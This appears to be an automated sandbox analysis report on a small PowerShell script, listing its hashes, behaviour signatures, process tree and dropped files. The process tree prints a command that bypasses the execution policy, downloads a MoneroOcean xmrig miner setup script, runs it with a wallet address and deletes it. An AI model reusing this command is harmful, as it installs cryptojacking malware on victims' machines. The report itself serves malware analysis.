Analysis

  • max time kernel
    127s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230621-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/06/2023, 12:44

General

  • Target

    geQkY07V.ps1

  • Size

    393B

  • MD5

    b36331be1b1deb5bb4701a7cdd75e68a

  • SHA1

    72cc0986a6abb77f1e3cadece22e3170731b0704

  • SHA256

    0cf956f28571a4236d37ba1811d9d484e7848dc52ff5e9dc44c27b330621ef78

  • SHA512

    8636cea76328d04911b029e0b3c15d8cea77d8724a1bca94c4885119ca98060b6b9e3ad4064d6d797146e28c38e4d0c063aec08b90f62302e4ff5332f77abc84

Score
1/10

Malware Config

Signatures

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\geQkY07V.ps1
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2716
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command " = New-Object System.Net.WebClient; = [System.IO.Path]::GetTempFileName(); += '.bat'; .DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.bat', ); & 48DLDM8j9npYi4jN9NaAWPbTDkA2uT7TUGCciLMwX3hdTmqauo9mismgfteSQiZMbjjgEDf6kDEKASnHwWZqMV6e1WaS8ZN; Remove-Item -Force "
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1464

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    5caad758326454b5788ec35315c4c304

    SHA1

    3aef8dba8042662a7fcf97e51047dc636b4d4724

    SHA256

    83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

    SHA512

    4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aedlz0i1.pjr.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2716-138-0x000001E5D0C40000-0x000001E5D0C62000-memory.dmp

    Filesize

    136KB

  • memory/2716-143-0x000001E5E91B0000-0x000001E5E91C0000-memory.dmp

    Filesize

    64KB

  • memory/2716-144-0x000001E5E91B0000-0x000001E5E91C0000-memory.dmp

    Filesize

    64KB

  • memory/2716-145-0x000001E5E91B0000-0x000001E5E91C0000-memory.dmp

    Filesize

    64KB